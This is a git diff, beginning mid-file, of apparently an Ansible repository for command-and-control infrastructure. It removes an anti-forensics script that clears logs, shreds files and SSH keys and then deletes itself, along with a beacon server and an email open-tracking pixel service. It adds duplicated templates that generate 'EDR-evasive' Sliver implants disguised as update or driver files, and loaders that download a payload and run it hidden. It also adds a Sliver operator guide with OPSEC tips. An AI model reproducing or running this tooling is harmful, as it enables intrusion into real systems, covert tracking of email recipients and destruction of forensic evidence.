systemctl stop $service 2>/dev/null - service $service stop 2>/dev/null -done - -# Kill any remaining operational processes -echo "[+] Terminating operational processes..." -process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor") -for proc in "${process_names[@]}"; do - pkill -9 $proc 2>/dev/null -done - -# Clear all logs -echo "[+] Clearing logs..." -bash /opt/c2/clean-logs.sh - -# Securely delete operational files -echo "[+] Removing operational files..." -operational_dirs=( - "/opt/c2" - "/opt/beacons" - "/opt/payloads" - "/root/.sliver" - "/root/.msf4" - "/root/.gophish" - "/root/Tools" - "/home/*/Tools" - "/var/www/html" -) - -for dir in "${operational_dirs[@]}"; do - find $dir -type f 2>/dev/null | while read file; do - secure_delete "$file" - done - rm -rf $dir 2>/dev/null -done - -# Remove SSH keys -echo "[+] Removing SSH keys and configs..." -find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do - secure_delete "$file" -done - -# Clean memory if requested -if $MEMORY_WIPE; then - echo "[+] Wiping system memory..." - sync - echo 3 > /proc/sys/vm/drop_caches - swapoff -a - swapon -a -fi - -# Self-destruct if configured (for cloud providers with API access) -if $SELF_DESTRUCT; then - echo "[+] Initiating self-destruct sequence..." - # This would typically call the cloud provider's API to terminate the instance - # For FlokiNET, this would need to be handled manually -fi - -echo "[+] Secure exit completed. Infrastructure has been sanitized." - -# Remove this script itself -exec shred -n $SECURE_DELETE_PASSES -uz $0 \ No newline at end of file diff --git a/tasks/files/serve-beacons.sh b/tasks/files/serve-beacons.sh deleted file mode 100644 index 3af5cf8..0000000 --- a/tasks/files/serve-beacons.sh +++ /dev/null @@ -1,72 +0,0 @@ -#!/bin/bash -# Beacon server script to host generated implants - -# Configuration -BEACONS_DIR="/opt/beacons" -WEBSERVER_PORT=8443 -CERTIFICATE="/etc/ssl/private/beacon-server.pem" -KEY="/etc/ssl/private/beacon-server.key" - -# Set secure umask -umask 077 - -# Ensure beacons directory exists -mkdir -p $BEACONS_DIR - -# Function to generate beacons using Sliver -generate_beacons() { - echo "[+] Generating beacons for all platforms..." - - # Make sure Sliver server is running - if ! pgrep -x "sliver-server" > /dev/null; then - echo "[!] Sliver server is not running, starting it..." - systemctl start sliver - sleep 5 - fi - - # Generate Windows beacon - sliver-cli generate --http $C2_HOST:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe - - # Generate Linux beacon - sliver-cli generate --http $C2_HOST:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux - - # Generate macOS beacon - sliver-cli generate --http $C2_HOST:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos - - # Generate stagers - echo "#!/bin/bash -curl -s $C2_HOST:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh - chmod +x $BEACONS_DIR/beacon.sh - - echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; -\$url = 'http://$C2_HOST:8443/windows.exe'; -\$outpath = \"\$env:TEMP\\update.exe\"; -Invoke-WebRequest -Uri \$url -OutFile \$outpath; -Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1 - - echo "[+] All beacons generated successfully" -} - -# Generate beacons -generate_beacons - -# Serve beacons using Python's HTTP server (with SSL if certificate exists) -if [ -f "$CERTIFICATE" ] && [ -f "$KEY" ]; then - echo "[+] Starting HTTPS server on port $WEBSERVER_PORT..." - cd $BEACONS_DIR - python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & - SERVER_PID=$! -else - echo "[+] Starting HTTP server on port $WEBSERVER_PORT..." - cd $BEACONS_DIR - python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 & - SERVER_PID=$! -fi - -echo "[+] Beacon server started with PID $SERVER_PID" -echo "[+] Beacons available at http(s)://$C2_HOST:$WEBSERVER_PORT/" -echo "[+] Press Ctrl+C to stop the server" - -# Keep script running and respond to Ctrl+C -trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT -while true; do sleep 1; done \ No newline at end of file diff --git a/tasks/files/simple_email_tracker.py b/tasks/files/simple_email_tracker.py deleted file mode 100644 index c372527..0000000 --- a/tasks/files/simple_email_tracker.py +++ /dev/null @@ -1,214 +0,0 @@ -#!/usr/bin/env python3 -""" -Simple Email Tracking Server - -A minimal Flask application that serves transparent tracking pixels -and logs email opens with metadata. -""" - -import os -import json -import time -import logging -from datetime import datetime -from flask import Flask, request, send_file, render_template_string - -# Configure logging -logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[ - logging.FileHandler('/opt/tracker/data/tracker.log'), - logging.StreamHandler() - ] -) - -# Create Flask app -app = Flask(__name__) - -# Directory to store tracking data -DATA_DIR = '/opt/tracker/data' -os.makedirs(DATA_DIR, exist_ok=True) - -# Path to 1x1 transparent pixel -PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png') - -# Create 1x1 transparent PNG if it doesn't exist -if not os.path.exists(PIXEL_PATH): - from PIL import Image - img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0)) - img.save(PIXEL_PATH) - -# Path to tracking data -TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json') - -def load_tracking_data(): - """Load existing tracking data from JSON file""" - if os.path.exists(TRACKING_DATA_PATH): - try: - with open(TRACKING_DATA_PATH, 'r') as f: - return json.load(f) - except json.JSONDecodeError: - logging.error("Error loading tracking data, starting fresh") - return {} - -def save_tracking_data(data): - """Save tracking data to JSON file""" - with open(TRACKING_DATA_PATH, 'w') as f: - json.dump(data, f, indent=2) - -@app.route('/pixel/.png') -def tracking_pixel(tracking_id): - """Serve a tracking pixel and log the request""" - # Get client information - user_agent = request.headers.get('User-Agent', 'Unknown') - ip_address = request.remote_addr - timestamp = datetime.now().isoformat() - referer = request.headers.get('Referer', 'Unknown') - - # Log the tracking event - logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}") - - # Add tracking event to data - tracking_data = load_tracking_data() - - if tracking_id not in tracking_data: - tracking_data[tracking_id] = [] - - tracking_data[tracking_id].append({ - 'timestamp': timestamp, - 'ip_address': ip_address, - 'user_agent': user_agent, - 'referer': referer - }) - - save_tracking_data(tracking_data) - - # Return the 1x1 transparent pixel - return send_file(PIXEL_PATH, mimetype='image/png') - -@app.route('/') -def dashboard(): - """Display tracking statistics dashboard""" - tracking_data = load_tracking_data() - - # Prepare data for the dashboard - stats = [] - for tracking_id, events in tracking_data.items(): - stats.append({ - 'id': tracking_id, - 'views': len(events), - 'last_view': events[-1]['timestamp'] if events else 'Never', - 'unique_ips': len(set(e['ip_address'] for e in events)) - }) - - # Sort by most views - stats.sort(key=lambda x: x['views'], reverse=True) - - # Simple HTML dashboard template - template = """ - - - - Email Tracking Dashboard - - - -
-

Email Tracking Dashboard

-

To track email opens, add this HTML to your emails:

- 
<img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" />
- -

Tracking Statistics

- - - - - - - - - {% for stat in stats %} - - - - - - - - {% endfor %} -
Tracking IDViewsUnique IPsLast ViewDetails
{{ stat.id }}{{ stat.views }}{{ stat.unique_ips }}{{ stat.last_view }}View Details
-
- - - """ - - return render_template_string(template, stats=stats) - -@app.route('/details/') -def tracking_details(tracking_id): - """Display detailed tracking information for a specific ID""" - tracking_data = load_tracking_data() - - if tracking_id not in tracking_data: - return f"No data found for tracking ID: {tracking_id}", 404 - - events = tracking_data[tracking_id] - - # Simple HTML template for details - template = """ - - - - Tracking Details: {{ tracking_id }} - - - -
-
« Back to Dashboard
-

Tracking Details: {{ tracking_id }}

-

Total views: {{ events|length }}

- -

Events

- - - - - - - - {% for event in events %} - - - - - - - {% endfor %} -
TimeIP AddressUser AgentReferer
{{ event.timestamp }}{{ event.ip_address }}{{ event.user_agent }}{{ event.referer }}
-
- - - """ - - return render_template_string(template, tracking_id=tracking_id, events=events) - -if __name__ == '__main__': - app.run(host='127.0.0.1', port=5000, debug=False) \ No newline at end of file diff --git a/tasks/files/tracker-nginx.conf b/tasks/files/tracker-nginx.conf deleted file mode 100644 index f1645f7..0000000 --- a/tasks/files/tracker-nginx.conf +++ /dev/null @@ -1,47 +0,0 @@ -server { - listen 80; - listen [::]:80; - server_name {{ tracker_domain }}; - - # Redirect to HTTPS if SSL is enabled - return 301 https://$host$request_uri; -} - -server { - listen 443 ssl; - listen [::]:443 ssl; - server_name {{ tracker_domain }}; - - # SSL Configuration - ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem; - ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem; - - # Restrict dashboard to localhost only - location / { - allow 127.0.0.1; - deny all; - proxy_pass http://127.0.0.1:5000; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - } - - # Allow public access only to pixel endpoints - location ~ ^/pixel/(.+)\.png$ { - # Public access allowed - proxy_pass http://127.0.0.1:5000/pixel/$1.png; - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - - # Cache control - don't cache tracking pixels - add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0"; - expires off; - } - - # Security headers - add_header X-Content-Type-Options "nosniff" always; - add_header X-Frame-Options "SAMEORIGIN" always; - add_header X-XSS-Protection "1; mode=block" always; - add_header Referrer-Policy "no-referrer" always; -} \ No newline at end of file diff --git a/tasks/files/tracker-stats.sh b/tasks/files/tracker-stats.sh deleted file mode 100644 index eb57a35..0000000 --- a/tasks/files/tracker-stats.sh +++ /dev/null @@ -1,45 +0,0 @@ -#!/bin/bash -# CLI tool to view email tracking stats - -DATA_FILE="/opt/tracker/data/tracking_data.json" - -function show_summary() { - if [ ! -f "$DATA_FILE" ]; then - echo "No tracking data found." - exit 1 - fi - - echo "Email Tracking Summary:" - echo "=======================" - jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE -} - -function show_details() { - ID=$1 - if [ ! -f "$DATA_FILE" ]; then - echo "No tracking data found." - exit 1 - fi - - echo "Details for tracking ID: $ID" - echo "==========================" - jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE -} - -case "$1" in - "list") - show_summary - ;; - "details") - if [ -z "$2" ]; then - echo "Usage: $0 details TRACKING_ID" - exit 1 - fi - show_details "$2" - ;; - *) - echo "Usage: $0 [list|details TRACKING_ID]" - echo " list - Show summary of all tracking IDs" - echo " details ID - Show details for specific tracking ID" - ;; -esac \ No newline at end of file diff --git a/tasks/files/tracker.service b/tasks/files/tracker.service deleted file mode 100644 index b70c22f..0000000 --- a/tasks/files/tracker.service +++ /dev/null @@ -1,19 +0,0 @@ -[Unit] -Description=Email Tracking Server -After=network.target - -[Service] -User=tracker -Group=tracker -WorkingDirectory=/opt/tracker -ExecStart=/opt/tracker/venv/bin/python /opt/tracker/simple_email_tracker.py -Restart=always -RestartSec=10 - -# Security settings -PrivateTmp=true -ProtectSystem=full -NoNewPrivileges=true - -[Install] -WantedBy=multi-user.target \ No newline at end of file diff --git a/templates/generate_evasive_beacons.sh.j2 b/templates/generate_evasive_beacons.sh.j2 new file mode 100644 index 0000000..dd7579a --- /dev/null +++ b/templates/generate_evasive_beacons.sh.j2 @@ -0,0 +1,155 @@ +#!/bin/bash +# Corrected EDR-evasive beacon generator with templated redirector integration + +# Configuration (automatically populated by Ansible) +BEACONS_DIR="/opt/beacons" +C2_HOST="{{ ansible_host }}" +REDIRECTOR_HOST="cdn.{{ domain }}" +REDIRECTOR_PORT="{{ redirector_port | default('443') }}" +TEMP_DIR=$(mktemp -d) + +# Ensure required directories exist +mkdir -p $BEACONS_DIR/staged +mkdir -p $BEACONS_DIR/shellcode + +# Generate unique random values for each execution +random_string() { + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 +} + +# Create a new Sliver profile with redirector-compatible paths +create_profile() { + local type=$1 + local profile_name="profile-${type}-$(random_string 8)" + + # Use paths that match the redirector NGINX configuration + local http_path1="/ajax/$(random_string 8)" + local http_path2="/static/js/$(random_string 6).js" + + local interval=$(( 30 + RANDOM % 120 )) + local jitter=$(( 10 + RANDOM % 35 )) + + # Use sliver-client to create a new profile + echo "[+] Creating profile: $profile_name" + sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter + + echo $profile_name +} + +# Generate implant using existing profile +generate_implant() { + local profile_name=$1 + local os_type=$2 + local arch=$3 + local format=$4 + local output_name=$5 + + echo "[+] Generating $os_type $format implant with profile $profile_name" + sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name" +} + +# Random output filename generator +random_output_name() { + local type=$1 + local names=( + "update" "service" "client" "agent" "app" "system" + "monitor" "utility" "helper" "runtime" "driver" "module" + ) + local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)" + + case "$type" in + windows) echo "${name}.exe" ;; + windows_dll) echo "${name}.dll" ;; + linux) echo "${name}" ;; + darwin) echo "${name}" ;; + *) echo "${name}" ;; + esac +} + +echo "[+] Generating randomized, evasive beacons with redirector integration..." +echo "[+] Redirector host: $REDIRECTOR_HOST" +echo "[+] C2 host: $C2_HOST" + +# Windows EXE +win_profile=$(create_profile "windows") +win_output=$(random_output_name "windows") +generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output" +echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)" + +# Windows DLL +dll_profile=$(create_profile "windows_dll") +dll_output=$(random_output_name "windows_dll") +generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output" +echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)" + +# Linux binary +linux_profile=$(create_profile "linux") +linux_output=$(random_output_name "linux") +generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output" +echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)" + +# macOS binary +mac_profile=$(create_profile "darwin") +mac_output=$(random_output_name "darwin") +generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output" +echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)" + +# Generate stagers +stager_profile=$(create_profile "stager") +stager_win=$(random_output_name "windows") +sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win" +echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" + +# Create loader scripts with redirector integration +echo "#!/bin/bash +# Loader script for Linux beacon +curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update +chmod +x /tmp/linux_update +/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh" +chmod +x "$BEACONS_DIR/linux_loader.sh" + +# Create PowerShell stager with improved OPSEC +cat > "$BEACONS_DIR/windows_loader.ps1" << EOF +# Windows PowerShell Beacon Loader +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +\$ErrorActionPreference = "SilentlyContinue" +\$wc = New-Object System.Net.WebClient +\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") +\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") +\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") +\$url = "https://$REDIRECTOR_HOST/static/js/update.js" +\$outpath = "\$env:TEMP\\$(random_string 8).exe" +try { + \$wc.DownloadFile(\$url, \$outpath) + Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) + Start-Process -WindowStyle Hidden -FilePath \$outpath +} catch { + # Fail silently +} +EOF + +# Create index of generated files +echo "[+] Creating reference file with beacon details" +cat > "$BEACONS_DIR/reference.txt" << EOF +C2 Server Details: +- C2 IP: $C2_HOST +- Redirector Domain: $REDIRECTOR_HOST + +Beacons Generated ($(date)): +- Windows EXE: $win_output (Profile: $win_profile) +- Windows DLL: $dll_output (Profile: $dll_profile) +- Linux Binary: $linux_output (Profile: $linux_profile) +- macOS Binary: $mac_output (Profile: $mac_profile) +- Windows Stager: staged/$stager_win (Profile: $stager_profile) + +Usage: +1. Ensure your redirector is properly configured to forward requests to the C2 server +2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP +3. Test connectivity before deployment in target environment + +IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT +EOF + +# Cleanup temporary files +rm -rf $TEMP_DIR +echo "[+] Beacon generation with redirector integration complete" \ No newline at end of file diff --git a/templates/serve_beacons.sh.j2 b/templates/serve_beacons.sh.j2 new file mode 100644 index 0000000..dd7579a --- /dev/null +++ b/templates/serve_beacons.sh.j2 @@ -0,0 +1,155 @@ +#!/bin/bash +# Corrected EDR-evasive beacon generator with templated redirector integration + +# Configuration (automatically populated by Ansible) +BEACONS_DIR="/opt/beacons" +C2_HOST="{{ ansible_host }}" +REDIRECTOR_HOST="cdn.{{ domain }}" +REDIRECTOR_PORT="{{ redirector_port | default('443') }}" +TEMP_DIR=$(mktemp -d) + +# Ensure required directories exist +mkdir -p $BEACONS_DIR/staged +mkdir -p $BEACONS_DIR/shellcode + +# Generate unique random values for each execution +random_string() { + cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 +} + +# Create a new Sliver profile with redirector-compatible paths +create_profile() { + local type=$1 + local profile_name="profile-${type}-$(random_string 8)" + + # Use paths that match the redirector NGINX configuration + local http_path1="/ajax/$(random_string 8)" + local http_path2="/static/js/$(random_string 6).js" + + local interval=$(( 30 + RANDOM % 120 )) + local jitter=$(( 10 + RANDOM % 35 )) + + # Use sliver-client to create a new profile + echo "[+] Creating profile: $profile_name" + sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter + + echo $profile_name +} + +# Generate implant using existing profile +generate_implant() { + local profile_name=$1 + local os_type=$2 + local arch=$3 + local format=$4 + local output_name=$5 + + echo "[+] Generating $os_type $format implant with profile $profile_name" + sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name" +} + +# Random output filename generator +random_output_name() { + local type=$1 + local names=( + "update" "service" "client" "agent" "app" "system" + "monitor" "utility" "helper" "runtime" "driver" "module" + ) + local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)" + + case "$type" in + windows) echo "${name}.exe" ;; + windows_dll) echo "${name}.dll" ;; + linux) echo "${name}" ;; + darwin) echo "${name}" ;; + *) echo "${name}" ;; + esac +} + +echo "[+] Generating randomized, evasive beacons with redirector integration..." +echo "[+] Redirector host: $REDIRECTOR_HOST" +echo "[+] C2 host: $C2_HOST" + +# Windows EXE +win_profile=$(create_profile "windows") +win_output=$(random_output_name "windows") +generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output" +echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)" + +# Windows DLL +dll_profile=$(create_profile "windows_dll") +dll_output=$(random_output_name "windows_dll") +generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output" +echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)" + +# Linux binary +linux_profile=$(create_profile "linux") +linux_output=$(random_output_name "linux") +generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output" +echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)" + +# macOS binary +mac_profile=$(create_profile "darwin") +mac_output=$(random_output_name "darwin") +generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output" +echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)" + +# Generate stagers +stager_profile=$(create_profile "stager") +stager_win=$(random_output_name "windows") +sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win" +echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" + +# Create loader scripts with redirector integration +echo "#!/bin/bash +# Loader script for Linux beacon +curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update +chmod +x /tmp/linux_update +/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh" +chmod +x "$BEACONS_DIR/linux_loader.sh" + +# Create PowerShell stager with improved OPSEC +cat > "$BEACONS_DIR/windows_loader.ps1" << EOF +# Windows PowerShell Beacon Loader +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +\$ErrorActionPreference = "SilentlyContinue" +\$wc = New-Object System.Net.WebClient +\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") +\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") +\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") +\$url = "https://$REDIRECTOR_HOST/static/js/update.js" +\$outpath = "\$env:TEMP\\$(random_string 8).exe" +try { + \$wc.DownloadFile(\$url, \$outpath) + Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) + Start-Process -WindowStyle Hidden -FilePath \$outpath +} catch { + # Fail silently +} +EOF + +# Create index of generated files +echo "[+] Creating reference file with beacon details" +cat > "$BEACONS_DIR/reference.txt" << EOF +C2 Server Details: +- C2 IP: $C2_HOST +- Redirector Domain: $REDIRECTOR_HOST + +Beacons Generated ($(date)): +- Windows EXE: $win_output (Profile: $win_profile) +- Windows DLL: $dll_output (Profile: $dll_profile) +- Linux Binary: $linux_output (Profile: $linux_profile) +- macOS Binary: $mac_output (Profile: $mac_profile) +- Windows Stager: staged/$stager_win (Profile: $stager_profile) + +Usage: +1. Ensure your redirector is properly configured to forward requests to the C2 server +2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP +3. Test connectivity before deployment in target environment + +IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT +EOF + +# Cleanup temporary files +rm -rf $TEMP_DIR +echo "[+] Beacon generation with redirector integration complete" \ No newline at end of file diff --git a/templates/sliver-guide.j2 b/templates/sliver-guide.j2 new file mode 100644 index 0000000..d04b996 --- /dev/null +++ b/templates/sliver-guide.j2 @@ -0,0 +1,73 @@ +# File: templates/sliver-guide.j2 +# Sliver C2 Framework Usage Guide + +SLIVER C2 OPERATIONS GUIDE +========================== + +This guide provides information on using the randomized Sliver C2 server deployed on +your infrastructure. + +SERVER INFORMATION +----------------- +C2 Server IP: {{ c2_ip }} +Redirector Domain: {{ redirector_domain }} +Operator Config: /root/admin.cfg + +CONNECTING TO THE SERVER +----------------------- +1. From your operator system, import the operator config: + $ sliver import /path/to/admin.cfg + +2. Connect to the server: + $ sliver + [*] Loaded 1 operator profiles + sliver > use admin + [*] Set active profile admin ({{ c2_ip }}:31337) + sliver > connect + [*] Connected to {{ c2_ip }}:31337 (admin) + +USING THE SERVER +--------------- +Once connected to the server, you can: + +1. List generated implants: + sliver > implants + +2. Start a listener for HTTP connections: + sliver > http -d {{ redirector_domain }} -L 0.0.0.0 -p 8888 + +3. Start a multiplayer session: + sliver > mtls -L 0.0.0.0 -p 31337 + +IMPLANT RESOURCES +---------------- +Pre-generated implants are available in: +- /opt/beacons/ + +These implants are already configured to connect through the redirector at +{{ redirector_domain }}. + +To serve these implants for download: +- A Python HTTP server is running on {{ c2_ip }}:8443 +- Implants can be delivered through the redirector at {{ redirector_domain }}/downloads/ + +TIPS FOR OPSEC +------------- +- All connections go through the redirector +- Beacon intervals are randomized (30-150 seconds) +- Traffic is disguised as legitimate web requests using common paths +- Use HTTPS for all communications + +To regenerate beacons with different properties: +$ /opt/c2/generate_evasive_beacons.sh + +TROUBLESHOOTING +-------------- +1. If implants can't connect: + - Verify DNS for {{ redirector_domain }} points to your redirector + - Check NGINX configuration on the redirector + - Ensure ports 8888 and 443 are open on respective servers + +2. If Sliver server isn't responding: + - Check service status: systemctl status sliver + - View logs: journalctl -u sliver \ No newline at end of file diff --git a/templates/sliver-server.service.j2 b/templates/sliver-server.service.j2 index 9c8c170..1c581eb 100644 --- a/templates/sliver-server.service.j2 +++ b/templates/sliver-server.service.j2 @@ -6,7 +6,7 @@ After=network.target Type=simple User=root Group=root -WorkingDirectory=/root/.sliver +WorkingDirectory=/root/.sliver-server ExecStart=/usr/local/bin/sliver-server daemon Restart=always RestartSec=10